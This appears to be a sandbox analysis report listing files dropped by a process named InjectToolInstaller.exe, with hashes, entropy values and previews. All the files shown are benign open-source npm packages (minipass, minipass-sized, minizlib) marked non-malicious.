Preview:	The ISC License..Copyright (c) Isaac Z. Schlueter and Contributors..Permission to use, copy, modify, and/or distribute this software for any.purpose with or without fee is hereby granted, provided that the above.copyright notice and this permission notice appear in all copies...THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR DISCLAIMS ALL WARRANTIES.WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF.MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR.ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES.WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN.ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF OR.IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE..

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\minipass-sized\index.js

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1785
Entropy (8bit):	4.69640624234378
Encrypted:	false
SSDEEP:	48:nDGiRVeYL6+EuP54vyyfLihhB0UdQeSiDuZ:dRVemzXxf5bpQpiDuZ
MD5:	1DC66C2E43938E368EF59C50C9F3F88D
SHA1:	F5B517585BE59D70CA2CDEB4ECC35D950BC1423D
SHA-256:	21C8904D1CE6960362BC6AA7261E3B371B8F203B60FCC57E1B54A701E96EC77D
SHA-512:	14F486288D1BEAD1E42057A31E0B8A7632A4052C49E0F888200BA9AB2D4491BFF3177B24450F6C0EF1D2A305A9865A22ADDEF0089DE863D8A9CFB76652541989
Malicious:	false
Preview:	const Minipass = require('minipass')..class SizeError extends Error {. constructor (found, expect) {. super(`Bad data size: expected ${expect} bytes, but got ${found}`). this.expect = expect. this.found = found. this.code = 'EBADSIZE'.. Error.captureStackTrace(this, this.constructor). }. get name () {. return 'SizeError'. }.}..class MinipassSized extends Minipass {. constructor (options = {}) {. super(options).. if (options.objectMode). throw new TypeError(`${. this.constructor.name. } streams only work with string and buffer data`).. this.found = 0. this.expect = options.size. if (typeof this.expect !== 'number' \|\|. this.expect > Number.MAX_SAFE_INTEGER \|\|. isNaN(this.expect) \|\|. this.expect < 0 \|\|. !isFinite(this.expect) \|\|. this.expect !== Math.floor(this.expect)). throw new Error('invalid expected size: ' + this.expect). }.. write (chunk, encoding, cb) {. const buffer = Buffer.isBuffer

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\minipass-sized\node_modules\minipass\LICENSE

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	787
Entropy (8bit):	5.062587829448254
Encrypted:	false
SSDEEP:	24:9qeJsZ7ICCtEmq6s9iOnc4PRnA+KpF3ew:SEC2tuiOnx9AZF3ew
MD5:	78E0C554693F15C5D2E74A90DFEF3816
SHA1:	58823CE936D14F068797501B1174D8EA9E51E9FE
SHA-256:	A5A110EB524BF3217958E405B5E3411277E915A2F5902C330348877000337E53
SHA-512:	B38EBCF2AF28488DBF1D3AA6A40F41A8AF4893AD6CB8629125E41B2D52C6D501283D882F750FC8323517C4EB3953D89FA0F3C8CEBA2AE66A8BF95AE676474F09
Malicious:	false
Preview:	The ISC License..Copyright (c) 2017-2022 npm, Inc., Isaac Z. Schlueter, and Contributors..Permission to use, copy, modify, and/or distribute this software for any.purpose with or without fee is hereby granted, provided that the above.copyright notice and this permission notice appear in all copies...THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR DISCLAIMS ALL WARRANTIES.WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF.MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR.ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES.WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN.ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF OR.IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE..

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\minipass-sized\node_modules\minipass\index.js

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	C++ source, ASCII text
Category:	dropped
Size (bytes):	16631
Entropy (8bit):	4.895871223084351
Encrypted:	false
SSDEEP:	384:PImi0vIjUUo+cYQp/PmOp54M/hvFx+2JgLLeALxiWNmdRVy8gybAWv:PImi09rZvUErtAW
MD5:	A8C344AC3D111B646DF0DCAE1F2BC3A3
SHA1:	D8A136B49214E498DA9C5A6E8CB9681B4FDA3149
SHA-256:	DBC5220C4BC8B470DA9C8E561B6A5382CF3FA9DCD97CACE955AC6FD34A27970C
SHA-512:	523749E4D38585249F1E3D7CFB2CB23E7F76764B36D0A628F48FF6B50F0A08C8E8526A1236977DA1BD4AC0FF0BD8D0BA9B834324F2BDEF9BEA9394DD6878C51D
Malicious:	false
Preview:	'use strict'.const proc = typeof process === 'object' && process ? process : {. stdout: null,. stderr: null,.}.const EE = require('events').const Stream = require('stream').const SD = require('string_decoder').StringDecoder..const EOF = Symbol('EOF').const MAYBE_EMIT_END = Symbol('maybeEmitEnd').const EMITTED_END = Symbol('emittedEnd').const EMITTING_END = Symbol('emittingEnd').const EMITTED_ERROR = Symbol('emittedError').const CLOSED = Symbol('closed').const READ = Symbol('read').const FLUSH = Symbol('flush').const FLUSHCHUNK = Symbol('flushChunk').const ENCODING = Symbol('encoding').const DECODER = Symbol('decoder').const FLOWING = Symbol('flowing').const PAUSED = Symbol('paused').const RESUME = Symbol('resume').const BUFFERLENGTH = Symbol('bufferLength').const BUFFERPUSH = Symbol('bufferPush').const BUFFERSHIFT = Symbol('bufferShift').const OBJECTMODE = Symbol('objectMode').const DESTROYED = Symbol('destroyed').const EMITDATA = Symbol('emitData').const EMITEND = Symbol('emitEnd').

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\minipass-sized\node_modules\minipass\package.json

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1187
Entropy (8bit):	4.6749165874239855
Encrypted:	false
SSDEEP:	24:V11nUWgTgleVlaREAq7P1w1ErvTKN93YG/SX/YPFDWX:VfnUWgTgwl6EAq794Eb+N5Yl/YPFDWX
MD5:	1943A368B7D61CC3792A307EC725C808
SHA1:	FC79B496665E2CDFC4BDAAC9C7D7C4B2F4645F2C
SHA-256:	E99F6B67BA6E5CDA438EFB7A23DD399EE5C2070AF69CE77720D95DE5FB42921E
SHA-512:	7C05F03F5D3DB01798C56C50D21628FC677097630AACF92E9EA47E70FF872D0E4E40217C1C2D5E81FC833CCF5AFE9697F8F20A4772459B396AA5C85263289223
Malicious:	false
Preview:	{. "name": "minipass",. "version": "3.3.6",. "description": "minimal implementation of a PassThrough stream",. "main": "index.js",. "types": "index.d.ts",. "dependencies": {. "yallist": "^4.0.0". },. "devDependencies": {. "@types/node": "^17.0.41",. "end-of-stream": "^1.4.0",. "prettier": "^2.6.2",. "tap": "^16.2.0",. "through2": "^2.0.3",. "ts-node": "^10.8.1",. "typescript": "^4.7.3". },. "scripts": {. "test": "tap",. "preversion": "npm test",. "postversion": "npm publish",. "postpublish": "git push origin --follow-tags". },. "repository": {. "type": "git",. "url": "git+https://github.com/isaacs/minipass.git". },. "keywords": [. "passthrough",. "stream". ],. "author": "Isaac Z. Schlueter <i@izs.me> (http://blog.izs.me/)",. "license": "ISC",. "files": [. "index.d.ts",. "index.js". ],. "tap": {. "check-coverage": true. },. "engines": {. "node": ">=8". },. "prettier": {. "semi": false,. "printWidth

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\minipass-sized\package.json

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	831
Entropy (8bit):	4.562478424652629
Encrypted:	false
SSDEEP:	12:2g18on7yy4V/PAP1U2M1bCglZgpfOC03YJwmRP6aww8ubrcVHAObmWLOouPL:d137yyUPAP1w1hP3Yymz8amCbL
MD5:	FF0DFA068D271772DFBE0AACAF5C9C40
SHA1:	615E0E93DFDBC65B217029380591ABC9E9B64136
SHA-256:	55B337582C4192528F19EEA2ABABF77B18FE2ADA15F346B25A2C1D276FEC182B
SHA-512:	71135276B58A4482F64615EFD577550F9B20F25F0D88063A119F2A2B42757806C318F424CC6FFBF1703193342B8971C046EB982FAED43EC907E36233892A82F9
Malicious:	false
Preview:	{. "name": "minipass-sized",. "version": "1.0.3",. "description": "A Minipass stream that raises an error if you get a different number of bytes than expected",. "author": "Isaac Z. Schlueter <i@izs.me> (https://izs.me)",. "license": "ISC",. "scripts": {. "test": "tap",. "snap": "tap",. "preversion": "npm test",. "postversion": "npm publish",. "postpublish": "git push origin --follow-tags". },. "tap": {. "check-coverage": true. },. "devDependencies": {. "tap": "^14.6.4". },. "dependencies": {. "minipass": "^3.0.0". },. "main": "index.js",. "keywords": [. "minipass",. "size",. "length". ],. "directories": {. "test": "test". },. "repository": {. "type": "git",. "url": "git+https://github.com/isaacs/minipass-sized.git". },. "engines": {. "node": ">=8". }.}.

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\minipass-sized\test\basic.js

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	2259
Entropy (8bit):	4.878346805608485
Encrypted:	false
SSDEEP:	48:DrQjtB5AOLYS4aCRAlYQ5aTqDqDhDwhf7aSCqT07Foa:PQn5LmAljYTZLqo7qa
MD5:	5C0AF4D22147209BCA675C35A8EDA7F8
SHA1:	9ADC9945C8BE435711767423911FD0409CDC3590
SHA-256:	0DBB5775907943F43DEE34E95B0850C209B1A2DF3EE912B888F1B4EEEC63CFF8
SHA-512:	430023217AD7843658108833E70A1F6E5BC5BF76E5EE1AAD2241D3AB5900BF77D0A10B706937E284D3D0476020F1D9153BD8198CDB011ACCCF0B3885004EACE8
Malicious:	false
Preview:	const t = require('tap').const MPS = require('../')..t.test('ok if size checks out', t => {. const mps = new MPS({ size: 4 }).. mps.write(Buffer.from('a').toString('hex'), 'hex'). mps.write(Buffer.from('sd')). mps.end('f'). return mps.concat().then(data => t.equal(data.toString(), 'asdf')).})..t.test('error if size exceeded', t => {. const mps = new MPS({ size: 1 }). mps.on('error', er => {. t.match(er, {. message: 'Bad data size: expected 1 bytes, but got 4',. found: 4,. expect: 1,. code: 'EBADSIZE',. name: 'SizeError',. }). t.end(). }). mps.write('asdf').})..t.test('error if size is not met', t => {. const mps = new MPS({ size: 999 }). t.throws(() => mps.end(), {. message: 'Bad data size: expected 999 bytes, but got 0',. found: 0,. name: 'SizeError',. expect: 999,. code: 'EBADSIZE',. }). t.end().})..t.test('error if non-string/buffer is written', t => {. const mps = new MPS({size:1}). mps.on('error', er => {. t.match(

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\minipass\LICENSE

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	787
Entropy (8bit):	5.066711225252366
Encrypted:	false
SSDEEP:	12:9FMR+ZnTES4dCPXeTbbtLgmq6KX9KsA8dXsrUXA3+PPRz2AvzT3kEmy2CKrK2PFd:9VZ7ICCtEmq6s9iOnc4PRnA+KpF3ew
MD5:	5F114AC709A085D123E16C1E6363793F
SHA1:	185C2AB72F55BF0A69F28B19AC3849C0CA0D9705
SHA-256:	833FAA18AC4B83A6372C05B3643D0D44ECD27D6627B8CD19B0F48FE74260CF39
SHA-512:	CAB00A78E63DEC76FA124FC49D1C28962D674FA18DDA5FDF2819078BD932F1BF0CC9ABD741B78F62869B4809473099F85BA8A622BC96F4EE92CF11B564346597
Malicious:	false
Preview:	The ISC License..Copyright (c) 2017-2023 npm, Inc., Isaac Z. Schlueter, and Contributors..Permission to use, copy, modify, and/or distribute this software for any.purpose with or without fee is hereby granted, provided that the above.copyright notice and this permission notice appear in all copies...THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR DISCLAIMS ALL WARRANTIES.WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF.MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR.ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES.WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN.ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF OR.IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE..

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\minipass\dist\commonjs\index.js

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	C++ source, ASCII text
Category:	dropped
Size (bytes):	33736
Entropy (8bit):	4.550667637930074
Encrypted:	false
SSDEEP:	384:VBNrNgDZPXjp8DSpsYn8pYCCJhOnGikh2fsVbRngQLKxHWq4OxXiAEOWcg:DNrNgDRpwSpsFbs2SOxXiA3fg
MD5:	937A19E43ACB8C168B21FFFF67187790
SHA1:	8C97E12AD9EB6513AD240EF6340FF6880FAFD205
SHA-256:	16EF9FF378BADFB158137BA9B34539E9F05CA1E8BA8F65A02D8B4E7D93003C7F
SHA-512:	FBEC5034502471BE4319DEB23DAD7639AD8732A3D63069B24D4DA1C3F8225438D2C7524275AA2ACC8EFF1375DD032684E38F46FC868C6696E09333E8B9782F9C
Malicious:	false
Preview:	"use strict";.var __importDefault = (this && this.__importDefault) \|\| function (mod) {. return (mod && mod.__esModule) ? mod : { "default": mod };.};.Object.defineProperty(exports, "__esModule", { value: true });.exports.Minipass = exports.isWritable = exports.isReadable = exports.isStream = void 0;.const proc = typeof process === 'object' && process. ? process. : {. stdout: null,. stderr: null,. };.const events_1 = require("events");.const stream_1 = __importDefault(require("stream"));.const string_decoder_1 = require("string_decoder");./*. Return true if the argument is a Minipass stream, Node stream, or something. * else that Minipass can interact with.. /.const isStream = (s) => !!s &&. typeof s === 'object' &&. (s instanceof Minipass \|\|. s instanceof stream_1.default \|\|. (0, exports.isReadable)(s) \|\|. (0, exports.isWritable)(s));.exports.isStream = isStream;./. Return true if the argument is a valid {@link Minipass.Reada

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\minipass\dist\commonjs\package.json

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	19
Entropy (8bit):	3.6163485660751657
Encrypted:	false
SSDEEP:	3:YRc8fmKALl:YmKALl
MD5:	95B08BC3062CDC4B0334FA9BE037E557
SHA1:	A6E024BC66F013D9565542250AEF50091391801D
SHA-256:	FA6944A20CA5E6FBAF98FD202EB8C7004D5B4AB786E36B9ED02EE31DBE196C9F
SHA-512:	65C66458ABE2101032CDD1B50CA6E643E0C368D09DFA6CC7006B33ED815E106BB20F9AFF118181807E7DF9F5D4D8D9796709B1EC9A7E04544231636FDF8FDF42
Malicious:	false
Preview:	{"type":"commonjs"}

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\minipass\dist\esm\index.js

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	C++ source, ASCII text
Category:	dropped
Size (bytes):	33213
Entropy (8bit):	4.53092734492884
Encrypted:	false
SSDEEP:	384:azNrNgDZPXjp8GSNsYn8pYCCJhOnGikh2fsVbRngQLKxHWq4OxXiAEOWci:oNrNgDRpJSNsFbs2SOxXiA3fi
MD5:	84C42C978E6203068EF833B6E0E04D6D
SHA1:	0361112D2E6C513CFC279FF8672C4F4BCD0CEBED
SHA-256:	AEC793D069ED40C29C283EA4C377B267080E15C1B8481BE5DA692106D647F23F
SHA-512:	BCADE19D63D4E5ACF64C7D1CCDD78F2080590835810DC6D4F92980739DD8AE7AF14D5C42A50F69F2FE43BD6744A4C4D9F0979C3D6137872FA5DE518F85E2246D
Malicious:	false
Preview:	const proc = typeof process === 'object' && process. ? process. : {. stdout: null,. stderr: null,. };.import { EventEmitter } from 'events';.import Stream from 'stream';.import { StringDecoder } from 'string_decoder';./*. Return true if the argument is a Minipass stream, Node stream, or something. * else that Minipass can interact with.. /.export const isStream = (s) => !!s &&. typeof s === 'object' &&. (s instanceof Minipass \|\|. s instanceof Stream \|\|. isReadable(s) \|\|. isWritable(s));./. Return true if the argument is a valid {@link Minipass.Readable}. /.export const isReadable = (s) => !!s &&. typeof s === 'object' &&. s instanceof EventEmitter &&. typeof s.pipe === 'function' &&. // node core Writable streams have a pipe() method, but it throws. s.pipe !== Stream.Writable.prototype.pipe;./. Return true if the argument is a valid {@link Minipass.Writable}. */.export const isWritable = (s) => !!s &&. typ

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\minipass\dist\esm\package.json

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	17
Entropy (8bit):	3.4992275471326932
Encrypted:	false
SSDEEP:	3:YRc8foau:Yoau
MD5:	6138DA8F9BD4F861C6157689D96B6D64
SHA1:	EE2833A41C28830D75B2F3327075286C915ED0DD
SHA-256:	6DC1B06D6B093E9CCCB20BEE06A93836EEE0420AE26803CA2CE4065D82F070D1
SHA-512:	0A3F1CB1522C6E7595186A9A54ED073FFA590B26C7D31B0877F19C925F847037E9F972066BFED62609B190EB2BC21FF7B31514E08C3DE64780FEF5982CBB21F2
Malicious:	false
Preview:	{"type":"module"}

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\minipass\package.json

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1944
Entropy (8bit):	4.643984935861022
Encrypted:	false
SSDEEP:	48:Vf4UWOL4gmZFIkc4c4qm94O4m/gPREjo5f/YPFDWpgKb66oCJiu4s+N59:VWOk/cvlmsn7gQ2C8s+p
MD5:	279CF9F71B29A4AC398859A20EA21613
SHA1:	415D7C00B1183FE401C317A76E01FDAB5A93F080
SHA-256:	0D03F4055FE0EA82AF3A7A19CD90F9679DD8168F3556D3D4BAB3AE9C9DB942A2
SHA-512:	EEA92E66BC3BD0B1E4472AE7CC5E07D7D75590CDB397CBCF7E1C232B4419E88138CD2CC76A99C6C5BBACE543DEFA9620E71CD1922DA9384E90E5C0692616A2E4
Malicious:	false
Preview:	{. "name": "minipass",. "version": "7.0.4",. "description": "minimal implementation of a PassThrough stream",. "main": "./dist/commonjs/index.js",. "types": "./dist/commonjs/index.d.ts",. "type": "module",. "tshy": {. "main": true,. "exports": {. "./package.json": "./package.json",. ".": "./src/index.ts". }. },. "exports": {. "./package.json": "./package.json",. ".": {. "import": {. "types": "./dist/esm/index.d.ts",. "default": "./dist/esm/index.js". },. "require": {. "types": "./dist/commonjs/index.d.ts",. "default": "./dist/commonjs/index.js". }. }. },. "files": [. "dist". ],. "scripts": {. "preversion": "npm test",. "postversion": "npm publish",. "prepublishOnly": "git push origin --follow-tags",. "prepare": "tshy",. "pretest": "npm run prepare",. "presnap": "npm run prepare",. "test": "tap",. "snap": "tap",. "format": "prettier --write . --loglevel warn",. "type

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\minizlib\LICENSE

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1297
Entropy (8bit):	5.103525211235431
Encrypted:	false
SSDEEP:	24:v0RZtlMFZcAzvxLQyrRONJHLH0cPP3gtkHw1hj9QHGhsUW8Ok4odZo3U/qldFr:vEteDckxLQytONJbbvE/5QHGhsfINi3f
MD5:	D8A0CA0C46BFA01DB064FA836F550966
SHA1:	73A4B83EE6DC57F6BAEC7A105C4E842688200A3B
SHA-256:	87A4800D70DE7EDC1640351A045BB588FCAA958093FCD1B3EE878388ABCEB818
SHA-512:	EAB50E24303772FA982A6AFA0FAC1F642BD81D11100A0D8ACA8BE0F26AE014D969D4E6B8F31FCF5E21146A1CFA9199FFC284C59183DBF26BC451933D387E89B6
Malicious:	false
Preview:	Minizlib was created by Isaac Z. Schlueter..It is a derivative work of the Node.js project...""".Copyright Isaac Z. Schlueter and Contributors.Copyright Node.js contributors. All rights reserved..Copyright Joyent, Inc. and other Node contributors. All rights reserved...Permission is hereby granted, free of charge, to any person obtaining a.copy of this software and associated documentation files (the "Software"),.to deal in the Software without restriction, including without limitation.the rights to use, copy, modify, merge, publish, distribute, sublicense,.and/or sell copies of the Software, and to permit persons to whom the.Software is furnished to do so, subject to the following conditions:..The above copyright notice and this permission notice shall be included in.all copies or substantial portions of the Software...THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS.OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF.MERCHANTABILITY, FITNESS FOR A PARTIC

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\minizlib\constants.js

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	3740
Entropy (8bit):	5.074223955119986
Encrypted:	false
SSDEEP:	48:rlnXvVHXBIet30mrnsFxWa6lm9v2l8I0F1khFtja63Dk261t1LXcO9bjy33wb3hf:rlXvVHaed46IoiLF1kN+63h2PPOU
MD5:	D473F80705D7AE9D9DAA0DA574428707
SHA1:	C2FD57A9FC1D15DB105EA88ABDEFC67B912612AB
SHA-256:	D4DF7BAE3260DEC937F377C259A098987954C3EBBCF4145ADACF598DACFB90FB
SHA-512:	0678F65CAEE7B16A649091AAB1BDC9594D6378641BA836C1A1E48A1F797E3D8850A78BF6719AB9FECB6D2B48C6837CDE1DEAC50935F703FA3920ED1D2EFA41B6
Malicious:	false
Preview:	// Update with any zlib constants that are added or changed in the future..// Node v6 didn't export this, so we just hard code the version and rely.// on all the other hard-coded values from zlib v4736. When node v6.// support drops, we can just export the realZlibConstants object..const realZlibConstants = require('zlib').constants \|\|. /* istanbul ignore next */ { ZLIB_VERNUM: 4736 }..module.exports = Object.freeze(Object.assign(Object.create(null), {. Z_NO_FLUSH: 0,. Z_PARTIAL_FLUSH: 1,. Z_SYNC_FLUSH: 2,. Z_FULL_FLUSH: 3,. Z_FINISH: 4,. Z_BLOCK: 5,. Z_OK: 0,. Z_STREAM_END: 1,. Z_NEED_DICT: 2,. Z_ERRNO: -1,. Z_STREAM_ERROR: -2,. Z_DATA_ERROR: -3,. Z_MEM_ERROR: -4,. Z_BUF_ERROR: -5,. Z_VERSION_ERROR: -6,. Z_NO_COMPRESSION: 0,. Z_BEST_SPEED: 1,. Z_BEST_COMPRESSION: 9,. Z_DEFAULT_COMPRESSION: -1,. Z_FILTERED: 1,. Z_HUFFMAN_ONLY: 2,. Z_RLE: 3,. Z_FIXED: 4,. Z_DEFAULT_STRATEGY: 0,. DEFLATE: 1,. INFLATE: 2,. GZIP: 3,. GUNZIP: 4,. DEFLATERAW: 5,. INFLATERAW: 6

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\minizlib\index.js

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	9444
Entropy (8bit):	4.772608234123065
Encrypted:	false
SSDEEP:	192:7m9F1cf2d0DtzrcKaDMaXDhWct2jvE8NPwll/6p:7mn1cHtzrcKaYwyia
MD5:	BC17FFA5C57825335FDCCD87D76CF5E2
SHA1:	F4554C20A8BB452CC19C97052416D634586D7632
SHA-256:	038B01F7982845D55B30F7888698DD0D34049E99C9F6913D424E3BA41323654D
SHA-512:	AA081E5EFFCB955D247B1B51D7F65F4357197A95ACCAE1B7F2E0E90C6B4DBFF21A303E950901DDA900EA100D79807280474C729B4F9BBC600FA26CD1C0FF2EF6
Malicious:	false
Preview:	'use strict'..const assert = require('assert').const Buffer = require('buffer').Buffer.const realZlib = require('zlib')..const constants = exports.constants = require('./constants.js').const Minipass = require('minipass')..const OriginalBufferConcat = Buffer.concat..const _superWrite = Symbol('_superWrite').class ZlibError extends Error {. constructor (err) {. super('zlib: ' + err.message). this.code = err.code. this.errno = err.errno. /* istanbul ignore if */. if (!this.code). this.code = 'ZLIB_ERROR'.. this.message = 'zlib: ' + err.message. Error.captureStackTrace(this, this.constructor). }.. get name () {. return 'ZlibError'. }.}..// the Zlib class they all inherit from.// This thing manages the queue of requests, and returns.// true or false if there is anything in the queue when.// you call the .write() method..const _opts = Symbol('opts').const _flushFlag = Symbol('flushFlag').const _finishFlushFlag = Symbol('finishFlushFlag').const _fullFlushFlag

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\minizlib\node_modules\minipass\LICENSE

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	787
Entropy (8bit):	5.062587829448254
Encrypted:	false
SSDEEP:	24:9qeJsZ7ICCtEmq6s9iOnc4PRnA+KpF3ew:SEC2tuiOnx9AZF3ew
MD5:	78E0C554693F15C5D2E74A90DFEF3816
SHA1:	58823CE936D14F068797501B1174D8EA9E51E9FE
SHA-256:	A5A110EB524BF3217958E405B5E3411277E915A2F5902C330348877000337E53
SHA-512:	B38EBCF2AF28488DBF1D3AA6A40F41A8AF4893AD6CB8629125E41B2D52C6D501283D882F750FC8323517C4EB3953D89FA0F3C8CEBA2AE66A8BF95AE676474F09
Malicious:	false
Preview:	The ISC License..Copyright (c) 2017-2022 npm, Inc., Isaac Z. Schlueter, and Contributors..Permission to use, copy, modify, and/or distribute this software for any.purpose with or without fee is hereby granted, provided that the above.copyright notice and this permission notice appear in all copies...THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR DISCLAIMS ALL WARRANTIES.WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF.MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR.ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES.WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN.ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF OR.IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE..

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\minizlib\node_modules\minipass\index.js

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	C++ source, ASCII text
Category:	dropped
Size (bytes):	16631
Entropy (8bit):	4.895871223084351
Encrypted:	false
SSDEEP:	384:PImi0vIjUUo+cYQp/PmOp54M/hvFx+2JgLLeALxiWNmdRVy8gybAWv:PImi09rZvUErtAW
MD5:	A8C344AC3D111B646DF0DCAE1F2BC3A3
SHA1:	D8A136B49214E498DA9C5A6E8CB9681B4FDA3149
SHA-256:	DBC5220C4BC8B470DA9C8E561B6A5382CF3FA9DCD97CACE955AC6FD34A27970C
SHA-512:	523749E4D38585249F1E3D7CFB2CB23E7F76764B36D0A628F48FF6B50F0A08C8E8526A1236977DA1BD4AC0FF0BD8D0BA9B834324F2BDEF9BEA9394DD6878C51D
Malicious:	false
Preview:	'use strict'.const proc = typeof process === 'object' && process ? process : {. stdout: null,. stderr: null,.}.const EE = require('events').const Stream = require('stream').const SD = require('string_decoder').StringDecoder..const EOF = Symbol('EOF').const MAYBE_EMIT_END = Symbol('maybeEmitEnd').const EMITTED_END = Symbol('emittedEnd').const EMITTING_END = Symbol('emittingEnd').const EMITTED_ERROR = Symbol('emittedError').const CLOSED = Symbol('closed').const READ = Symbol('read').const FLUSH = Symbol('flush').const FLUSHCHUNK = Symbol('flushChunk').const ENCODING = Symbol('encoding').const DECODER = Symbol('decoder').const FLOWING = Symbol('flowing').const PAUSED = Symbol('paused').const RESUME = Symbol('resume').const BUFFERLENGTH = Symbol('bufferLength').const BUFFERPUSH = Symbol('bufferPush').const BUFFERSHIFT = Symbol('bufferShift').const OBJECTMODE = Symbol('objectMode').const DESTROYED = Symbol('destroyed').const EMITDATA = Symbol('emitData').const EMITEND = Symbol('emitEnd').

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\minizlib\node_modules\minipass\package.json

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1187
Entropy (8bit):	4.6749165874239855
Encrypted:	false
SSDEEP:	24:V11nUWgTgleVlaREAq7P1w1ErvTKN93YG/SX/YPFDWX:VfnUWgTgwl6EAq794Eb+N5Yl/YPFDWX
MD5:	1943A368B7D61CC3792A307EC725C808
SHA1:	FC79B496665E2CDFC4BDAAC9C7D7C4B2F4645F2C
SHA-256:	E99F6B67BA6E5CDA438EFB7A23DD399EE5C2070AF69CE77720D95DE5FB42921E
SHA-512:	7C05F03F5D3DB01798C56C50D21628FC677097630AACF92E9EA47E70FF872D0E4E40217C1C2D5E81FC833CCF5AFE9697F8F20A4772459B396AA5C85263289223
Malicious:	false
